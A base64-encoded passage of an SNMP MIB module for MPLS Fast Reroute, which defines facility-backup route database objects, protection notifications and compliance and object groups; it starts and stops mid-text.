ICAgICAgICAgIHRoZSB0dW5uZWwgaGVhZCBpbnRlcmZhY2UgZGVzaWduYXRlZCB0byBwcm90ZWN0
IHRoZQ0KICAgICAgICAgIGludGVyZmFjZSBhcyBzcGVjaWZpZWQgaW4gdGhlIG1wbHNGcnJGYWNS
b3V0ZUlmUHJvdElkeA0KICAgICAgICAgIChhbmQgYWxsIG9mIHRoZSB0dW5uZWxzIHVzaW5nIHRo
aXMgaW50ZXJmYWNlKS4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSAyIH0N
Cg0KICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBUdW5JZHggT0JKRUNULVRZUEUNCiAgICAgICBTWU5U
QVggICAgICAgIE1wbHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vz
c2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0K
ICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhbiBtcGxzVHVubmVsRW50cnkgdGhhdCBpcw0K
ICAgICAgICAgIGJlaW5nIHByb3RlY3RlZCBieSBGUlIuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJG
YWNSb3V0ZURCRW50cnkgMyB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVCa3VwVHVuSW5zdCBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAg
ICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVz
IGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAgICAgICAgYmVpbmcgcHJvdGVjdGVkIGJ5
IEZSUi4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSA0IH0NCg0KICAgIG1w
bHNGcnJGYWNSb3V0ZUJrdXBUdW5JbmdyTFNSSWQgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVgg
ICAgICAgIE1wbHNMc3JJZGVudGlmaWVyDQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNz
aWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQog
ICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhbiBtcGxzVHVubmVsRW50cnkgdGhhdCBpcw0K
ICAgICAgICAgIGJlaW5nIHByb3RlY3RlZCBieSBGUlIuIg0KICAgICAgIFJFRkVSRU5DRQ0KICAg
ICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQIFR1bm5lbHMsDQog
ICAgICAgICAgIEF3ZHVjaGUgZXQgYWwsIFJGQyAzMjA5LCBEZWNlbWJlciAyMDAxDQogICAgICAg
ICAgMi4gQ29uc3RyYWludC1CYXNlZCBMU1AgU2V0dXAgdXNpbmcgTERQLCBKYW1vdXNzaQ0KICAg
ICAgICAgICAoRWRpdG9yKSwgUkZDIDMyMTIsIEphbnVhcnkgMjAwMiINCiAgICAgICA6Oj0geyBt
cGxzRnJyRmFjUm91dGVEQkVudHJ5IDUgfQ0KDQogICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVn
ckxTUklkICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc0xzcklkZW50aWZp
ZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAg
ICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVu
dGlmaWVzIGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAgICAgICAgYmVpbmcgcHJvdGVj
dGVkIGJ5IEZSUi4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSA2IH0NCg0K
ICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1bk9uSWYgT0JKRUNULVRZUEUNCiAgICAgICAg
U1lOVEFYICAgICAgICAgICAgR2F1Z2UzMg0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFk
LW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQ
VElPTg0KICAgICAgICAgICAgIlRoZSBudW1iZXIgb2YgYmFja3VwIHR1bm5lbHMgcHJvdGVjdGlu
ZyB0aGUgc3BlY2lmaWVkDQogICAgICAgICAgICBpbnRlcmZhY2UuIg0KICAgICAgIDo6PSB7IG1w
bHNGcnJGYWNSb3V0ZURCRW50cnkgNyB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVEQk51bVByb3RU
dW4gT0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgR2F1Z2UzMg0KICAgICAg
ICBNQVgtQUNDRVNTICAgICAgICByZWFkLW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAg
Y3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlRoZSBudW1iZXIgb2Yg
dHVubmVscyBwcm90ZWN0ZWQgb24gdGhpcyBpbnRlcmZhY2UuIg0KICAgIDo6PSB7IG1wbHNGcnJG
YWNSb3V0ZURCRW50cnkgOCB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RUdW5TdGF0dXMg
T0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgSU5URUdFUiB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBhY3RpdmUoMSksDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICByZWFkeSgyKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcnRpYWwo
MykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAg
ICByZWFkLW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBE
RVNDUklQVElPTg0KICAgICAgICAgICAgIlNwZWNpZmllcyB0aGUgc3RhdGUgb2YgdGhlIHByb3Rl
Y3RlZCB0dW5uZWwuDQoNCiAgICAgICAgICAgICBhY3RpdmUgIFRoaXMgdHVubmVsJ3MgbGFiZWwg
aGFzIGJlZW4gcGxhY2VkIGluIHRoZQ0KICAgICAgICAgICAgICAgICAgICAgIExGSUIgYW5kIGlz
IHJlYWR5IHRvIGJlIGFwcGxpZWQgdG8gaW5jb21pbmcNCiAgICAgICAgICAgICAgICAgICAgICBw
YWNrZXRzLg0KDQogICAgICAgICAgICAgcmVhZHkgLSAgVGhpcyB0dW5uZWwncyBsYWJlbCBlbnRy
eSBoYXMgYmVlbiBjcmVhdGVkIGJ1dCBpcw0KICAgICAgICAgICAgICAgICAgICAgIG5vdCB5ZXQg
aW4gdGhlIExGSUIuDQoNCiAgICAgICAgICAgICBwYXJ0aWFsIC0gVGhpcyB0dW5uZWwncyBsYWJl
bCBlbnRyeSBhcyBub3QgYmVlbiBmdWxseQ0KICAgICAgICAgICAgICAgICAgICAgICBjcmVhdGVk
LiINCiAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDkgfQ0KDQogICAgbXBsc0ZyckZh
Y1JvdXRlREJQcm90VHVuUmVzdkJ3ICBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAg
ICAgICBVbnNpZ25lZDMyDQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAg
ICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAg
ICAgICAgICAiU3BlY2lmaWVzIHRoZSBhbW91bnQgb2YgYmFuZHdpZHRoIGluIG1lZ2FieXRlcyBw
ZXIgc2Vjb25kDQogICAgICAgICAgICAgdGhhdCBpcyBhY3R1YWxseSByZXNlcnZlZCBieSB0aGUg
cHJvdGVjdGlvbiB0dW5uZWwgZm9yDQogICAgICAgICAgICAgZmFjaWxpdHkgYmFja3VwLiBUaGlz
IHZhbHVlIGlzIHJlcGVhdGVkIGhlcmUgZnJvbSB0aGUgTVBMUy0NCiAgICAgICAgICAgICBURSBN
SUIgYmVjYXVzZSB0aGUgdHVubmVsIGVudHJ5IHdpbGwgcmV2ZWFsIHRoZSBiYW5kd2lkdGgNCiAg
ICAgICAgICAgICByZXNlcnZlZCBieSB0aGUgc2lnbmFsaW5nIHByb3RvY29sLCB3aGljaCBpcyB0
eXBpY2FsbHkgMA0KICAgICAgICAgICAgIGZvciBiYWNrdXAgdHVubmVscyBzbyBhcyB0byBub3Qg
b3Zlci1ib29rIGJhbmR3aWR0aC4NCiAgICAgICAgICAgICBIb3dldmVyLCBpbnRlcm5hbCByZXNl
cnZhdGlvbnMgYXJlIHR5cGljYWxseSBtYWRlIG9uIHRoZQ0KICAgICAgICAgICAgIFBMUiwgdGh1
cyB0aGlzIHZhbHVlIHNob3VsZCBiZSByZXZlYWxlZCBoZXJlLiINCiAgICAgOjo9IHsgbXBsc0Zy
ckZhY1JvdXRlREJFbnRyeSAxMCB9DQoNCiAgICAtLSBOb3RpZmljYXRpb25zDQoNCiAgICAtLSBF
ZCBOb3RlOiBDdXJyZW50bHkgdGhlc2Ugbm90aWZpY2F0aW9ucyBvbmx5IGFwcGx5IHRvDQogICAg
LS0gICAgICAgICAgRmFjaWxpdHktYmFzZWQgRlJSLiBEbyB3ZSBuZWVkIHRvIGRlZmluZQ0KICAg
IC0tICAgICAgICAgIGFkZGl0aW9uYWwgbm90aWZpY2F0aW9ucyBmb3IgT25lMk9uZT8NCg0KICAg
IG1wbHNGcnJQcm90ZWN0ZWQgTk9USUZJQ0FUSU9OLVRZUEUNCiAgICAgICAgT0JKRUNUUyB7IG1w
bHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1bk9uSWYsDQogICAgICAgICAgICAgICAgICBtcGxzRnJy
RmFjUm91dGVEQk51bVByb3RUdW4sDQogICAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVE
QlByb3RUdW5TdGF0dXMsDQogICAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RU
dW5SZXN2QncNCiAgICAgICAgICAgICAgICB9DQogICAgU1RBVFVTICAgICAgY3VycmVudA0KICAg
IERFU0NSSVBUSU9ODQogICAgICAgICJUaGlzIG5vdGlmaWNhdGlvbiBpcyBnZW5lcmF0ZWQgd2hl
biBhIHR1bm5lbCBydW5uaW5nIG92ZXIgYW4NCiAgICAgICAgIGludGVyZmFjZSBhcyBzcGVjaWZp
ZWQgaW4gdGhlIG1wbHNGcnJDb25zdFRhYmxlIGlzIGluaXRpYWxseQ0KICAgICAgICAgcHJvdGVj
dGVkIGJ5IHRoZSBiYWNrdXAgdHVubmVsIGFsc28gc3BlY2lmaWVkIGluIHRoZQ0KICAgICAgICAg
bXBsc0ZyckNvbnN0VGFibGUuIFRoaXMgbm90aWZpY2F0aW9uIHNob3VsZCBub3QgYmUgZ2VuZXJh
dGVkDQogICAgICAgICBmb3IgZWFjaCBzdWJzZXF1ZW50IHR1bm5lbCB0aGF0IGlzIGJhY2tlZCB1
cCBieSB0aGUgRlJSIGZlYXR1cmUNCiAgICAgICAgIG9uIHRoaXMgTFNSLCBhcyB0aGlzIG1heSBy
ZXN1bHQgaW4gcG90ZW50aWFsIHNjYWxpbmcgaXNzdWVzDQogICAgICAgICB3aXRoIHJlZ2FyZCB0
byBMU1IgcGVyZm9ybWFuY2UgYW5kIG5ldHdvcmsgbG9hZGluZy4gTm90ZSBhbHNvDQogICAgICAg
ICB0aGF0IG5vdGlmaWNhdGlvbnMgTVVTVCBiZSBnZW5lcmF0ZWQgaW4gYWNjb3JkYW5jZSB3aXRo
IHRoZQ0KICAgICAgICAgbXBsc0Zyck5vdGlmTWF4UmF0ZS4iDQogICAgICAgIDo6PSB7IG1wbHNG
cnJOb3RpZiAxIH0NCg0KICAgIG1wbHNGcnJVblByb3RlY3RlZCBOT1RJRklDQVRJT04tVFlQRQ0K
ICAgICAgICBPQkpFQ1RTIHsgbXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuT25JZiwNCiAgICAg
ICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1biwNCiAgICAgICAgICAgICAg
ICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJvdFR1blN0YXR1cywNCiAgICAgICAgICAgICAgICAgIG1w
bHNGcnJGYWNSb3V0ZURCUHJvdFR1blJlc3ZCdw0KICAgICAgICAgICAgICAgIH0NCiAgICBTVEFU
VVMgICAgICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAgIlRoaXMgbm90aWZpY2F0
aW9uIGlzIGdlbmVyYXRlZCB3aGVuIHRoZSBmaW5hbCB0dW5uZWwgdGhhdCBpcw0KICAgICAgICAg
YmVpbmcgcHJvdGVjdGVkIGJ5IGEgYmFja3VwIHR1bm5lbCBhcyBzcGVjaWZpZWQgaW4gdGhlDQog
ICAgICAgICBtcGxzRnJyQ29uc3RUYWJsZSBpcyByZXN0b3JlZCB0byBub3JtYWwgb3BlcmF0aW9u
LiBUaGlzDQogICAgICAgICBub3RpZmljYXRpb24gc2hvdWxkIG5vdCBiZSBnZW5lcmF0ZWQgZm9y
IGVhY2ggcmVzdG9yZWQgdHVubmVsLA0KICAgICAgICAgYXMgdGhpcyBtYXkgcmVzdWx0IGluIHBv
dGVudGlhbCBzY2FsaW5nIGlzc3VlcyB3aXRoIHJlZ2FyZCB0bw0KICAgICAgICAgTFNSIHBlcmZv
cm1hbmNlIGFuZCBuZXR3b3JrIGxvYWRpbmcuIE5vdGUgYWxzbyB0aGF0DQogICAgICAgICBub3Rp
ZmljYXRpb25zIE1VU1QgYmUgZ2VuZXJhdGVkIGluIGFjY29yZGFuY2Ugd2l0aCB0aGUNCiAgICAg
ICAgIG1wbHNGcnJOb3RpZk1heFJhdGUuIg0KICAgICAgICA6Oj0geyBtcGxzRnJyTm90aWYgMiB9
DQoNCg0KICAgIC0tIE1vZHVsZSBDb25mb3JtYW5jZSBTdGF0ZW1lbnQNCg0KICAgIG1wbHNGcnJH
cm91cHMNCiAgICAgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0ge21wbHNGcnJDb25mb3JtYW5jZSAx
IH0NCg0KICAgIG1wbHNGcnJDb21wbGlhbmNlcw0KICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6
PSB7bXBsc0ZyckNvbmZvcm1hbmNlIDIgfQ0KDQogICAgbXBsc0Zyck1vZHVsZUNvbXBsaWFuY2Ug
TU9EVUxFLUNPTVBMSUFOQ0UNCiAgICAgICBTVEFUVVMgY3VycmVudA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAiQ29tcGxpYW5jZSBzdGF0ZW1lbnRzIGZvciBhZ2VudHMgdGhhdCBzdXBw
b3J0IHRoZSBNUExTIEZSUg0KICAgICAgICAgTUlCLiINCiAgICAgICBNT0RVTEUNCiAgICAgICAg
ICAgTUFOREFUT1JZLUdST1VQUyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1wbHNG
cnJTY2FsYXJHcm91cCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0
R3JvdXAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1wbHNGcnJMb2dHcm91cA0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgIEdST1VQIG1wbHNGcnJUdW5BUkhv
cEdyb3VwDQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUg
cmVxdWlyZWQgdG8gcHJlc2VudCBwZXIgaG9wDQogICAgICAgICAgICBmYXN0LXJlcm91dGUgcHJv
dGVjdGlvbiBzdGF0dXMuIg0KDQogICAgICAgR1JPVVAgbXBsc0Zyck9uZTJPbmVQTFJEZXRvdXJH
cm91cA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRh
dG9yeSBmb3IgZGV2aWNlcyB3aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgb25lLXRvLW9u
ZSBGUlIgbWVjaGFuaXNtLCBhbmQgaXMgb3B0aW9uYWwgZm9yDQogICAgICAgICAgICB0aG9zZSB3
aGljaCBkbyBub3QuIg0KDQogICAgICAgR1JPVVAgbXBsc0Zyck9uZTJPbmVQbHJHcm91cA0KICAg
ICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3Ig
ZGV2aWNlcyB3aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgb25lLXRvLW9uZSBGUlIgbWVj
aGFuaXNtLCBhbmQgaXMgb3B0aW9uYWwgZm9yDQogICAgICAgICAgICB0aG9zZSB3aGljaCBkbyBu
b3QuIg0KDQogICAgICAgR1JPVVAgbXBsc0ZyckZhY1JvdXRlREJHcm91cA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3IgZGV2aWNlcyB3
aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgRmFjaWxpdHkgQmFja3VwIEZSUiBtZWNoYW5p
c20sIGFuZCBpcyBvcHRpb25hbA0KICAgICAgICAgICAgZm9yIHRob3NlIHdoaWNoIGRvIG5vdC4i
DQoNCiAgICAgICBHUk9VUCBtcGxzRnJyTm90aWZHcm91cA0KICAgICAgIERFU0NSSVBUSU9ODQog
ICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3IgZGV2aWNlcyB3aGljaCBzdXBw
b3J0DQogICAgICAgICAgICB0aGUgRmFjaWxpdHkgQmFja3VwIEZSUiBtZWNoYW5pc20sIGFuZCBp
cyBvcHRpb25hbA0KICAgICAgICAgICAgZm9yIHRob3NlIHdoaWNoIGRvIG5vdC4iDQoNCiAgICAg
ICAtLSBtcGxzRnJyQ29uc3RUYWJsZQ0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29u
c3RQcm90ZWN0aW9uTWV0aG9kDQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAg
ICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0K
DQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uVHlwZQ0KICAgICAg
IE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJX
cml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBs
c0ZyckNvbnN0U2V0dXBQcmlvDQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAg
ICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0K
DQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RIb2xkaW5nUHJpbw0KICAgICAgIE1J
Ti1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0
ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0Zy
ckNvbnN0SW5jbEFueUFmZmluaXR5DQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQu
Ig0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQWxsQWZmaW5pdHkNCiAg
ICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAg
ICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAgICAgICBPQkpFQ1QgICAgICAg
IG1wbHNGcnJDb25zdEV4Y2xBbGxBZmZpbml0eQ0KICAgICAgIE1JTi1BQ0NFU1MgICAgcmVhZC1v
bmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0ZSBhY2Nlc3MgaXMgbm90IHJl
cXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0ZyckNvbnN0SG9wTGltaXQNCiAg
ICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAg
ICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAgICAgICBPQkpFQ1QgICAgICAg
IG1wbHNGcnJDb25zdEJhbmR3aWR0aA0KICAgICAgIE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQog
ICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVk
LiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0ZyckNvbnN0Um93U3RhdHVzDQogICAgICAg
TUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldy
aXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0KDQogICAgICAgOjo9IHsgbXBsc0ZyckNvbXBs
aWFuY2VzIDEgfQ0KDQogICAgLS0gVW5pdHMgb2YgY29uZm9ybWFuY2UNCg0KICAgIG1wbHNGcnJT
Y2FsYXJHcm91cCBPQkpFQ1QtR1JPVVANCiAgICAgICBPQkpFQ1RTIHsNCiAgICAgICAgICAgICAg
ICBtcGxzRnJyRGV0b3VySW5jb21pbmcsDQogICAgICAgICAgICAgICAgbXBsc0ZyckRldG91ck91
dGdvaW5nLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJEZXRvdXJPcmlnaW5hdGluZywNCiAgICAg
ICAgICAgICAgICBtcGxzRnJyU3dpdGNob3ZlciwNCiAgICAgICAgICAgICAgICBtcGxzRnJyQ29u
ZklmcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyQWN0UHJvdGVjdGVkSWZzLA0KICAgICAgICAg
ICAgICAgIG1wbHNGcnJDb25mUHJvdGVjdGVkVHVucywNCiAgICAgICAgICAgICAgICBtcGxzRnJy
QWN0UHJvdGVjdGVkVHVucywNCiAgICAgICAgICAgICAgICBtcGxzRnJyQWN0aXZlbHlQcm90ZWN0
ZWRMU1BzLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QsDQog
ICAgICAgICAgICAgICAgbXBsc0Zyck5vdGlmc0VuYWJsZWQsDQogICAgICAgICAgICAgICAgbXBs
c0ZyckxvZ1RhYmxlTWF4RW50cmllcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyTG9nVGFibGVD
dXJyRW50cmllcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyTm90aWZNYXhSYXRlDQogICAgICAg
ICAgICAgICB9DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJPYmplY3RzIHRoYXQgYXJlIHJlcXVpcmVkIHRvIGdhdGhlciBmYXN0IHJl
cm91dGUgc3RhdGlzdGljcy4iDQogICAgICAgOjo9IHsgbXBsc0Zyckdyb3VwcyAxIH0NCg0KICAg
IG1wbHNGcnJDb25zdEdyb3VwIE9CSkVDVC1HUk9VUA0KICAgICAgIE9CSkVDVFMgew0KICAgICAg
ICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QsDQogICAgICAgICAgbXBsc0ZyckNvbnN0
UHJvdGVjdGlvblR5cGUsDQogICAgICAgICAgbXBsc0ZyckNvbnN0U2V0dXBQcmlvLA0KICAgICAg
ICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvLA0KICAgICAgICAgIG1wbHNGcnJDb25zdEluY2xB
bnlBZmZpbml0eSwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQWxsQWZmaW5pdHksDQogICAg
ICAgICAgbXBsc0ZyckNvbnN0RXhjbEFsbEFmZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25z
dEhvcExpbWl0LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEJhbmR3aWR0aCwNCiAgICAgICAgICBt
cGxzRnJyQ29uc3RSb3dTdGF0dXMNCiAgICAgICB9DQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJPYmplY3RzIHRoYXQgYXJlIHJlcXVp
cmVkIHRvIGNvbmZpZ3VyZSBmYXN0IHJlcm91dGUgY29uc3RyYWludHMNCiAgICAgICAgIGF0IHRo
ZSBpbmdyZXNzIExTUiBvZiB0aGUgdHVubmVsIHRoYXQgcmVxdWlyZXMgZmFzdCByZXJvdXRlDQog
ICAgICAgICBzZXJ2aWNlLiINCiAgICAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDIgfQ0KDQogICAg
bXBsc0ZyclR1bkFSSG9wR3JvdXAgICAgICAgICBPQkpFQ1QtR1JPVVANCiAgICAgT0JKRUNUUyB7
DQogICAgICAgICAgICAgIG1wbHNGcnJUdW5BUkhvcFByb3RlY3RBdmFpbGFibGUsDQogICAgICAg
ICAgICAgIG1wbHNGcnJUdW5BUkhvcFByb3RlY3RJblVzZSwNCiAgICAgICAgICAgICAgbXBsc0Zy
clR1bkFSSG9wQmFuZHdpZHRoUHJvdGVjdCwNCiAgICAgICAgICAgICAgbXBsc0ZyclR1bkFSSG9w
Tm9kZVByb3RlY3QNCiAgICAgICAgICAgICB9DQogICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8g
cHJlc2VudCBwZXIgaG9wIGZhc3QtcmVyb3V0ZQ0KICAgICAgICAgIHByb3RlY3Rpb24gc3RhdHVz
LiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDN9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBMUkRl
dG91ckdyb3VwIE9CSkVDVC1HUk9VUA0KICAgICBPQkpFQ1RTIHsNCiAgICAgICAgICAgICAgbXBs
c0ZyckRldG91ckFjdGl2ZSwNCiAgICAgICAgICAgICAgbXBsc0ZyckRldG91ck1lcmdpbmcsDQog
ICAgICAgICAgICAgIG1wbHNGcnJEZXRvdXJNZXJnZWREZXRvdXJJbnN0DQogICAgICAgICAgICAg
fQ0KICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICJPYmplY3RzIHRoYXQgYXJlIHJlcXVpcmVkIHRvIHByZXNlbnQgdGhlIGRldG91ciBMU1AgaW5m
b3JtYXRpb24NCiAgICAgICAgIGF0IHRoZSBkZXRvdXIgaW5ncmVzcywgdHJhbnNpdCBhbmQgZWdy
ZXNzIExTUnMuIg0KICAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDQgfQ0KDQogICAgbXBsc0Zyckxv
Z0dyb3VwIE9CSkVDVC1HUk9VUA0KICAgIE9CSkVDVFMgeyBtcGxzRnJyTG9nRXZlbnRUaW1lLA0K
ICAgICAgICAgICAgICBtcGxzRnJyTG9nSW50ZXJmYWNlLA0KICAgICAgICAgICAgICBtcGxzRnJy
TG9nRXZlbnRUeXBlLA0KICAgICAgICAgICAgICBtcGxzRnJyTG9nRXZlbnREdXJhdGlvbiwNCiAg
ICAgICAgICAgICAgbXBsc0ZyckxvZ0V2ZW50UmVhc29uU3RyaW5nDQogICAgICAgICAgICB9DQog
ICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAiT2JqZWN0
cyB0aGF0IGFyZSByZXF1aXJlZCB0byByZXByZXNlbnQgRlJSIGxvZ2dpbmcgaW5mb3JtYXRpb24N
CiAgICAgICBhdCB0aGUgZGV0b3VyIGluZ3Jlc3MsIHRyYW5zaXQgYW5kIGVncmVzcyBMU1JzLiIN
CiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDUgfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQbHJHcm91
cCBPQkpFQ1QtR1JPVVANCiAgICAgIE9CSkVDVFMgew0KICAgICAgICAgIG1wbHNGcnJPbmUyT25l
UGxyU2VuZGVyQWRkclR5cGUsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJTZW5kZXJBZGRy
LA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyQXZvaWROQWRkclR5cGUsDQogICAgICAgICAg
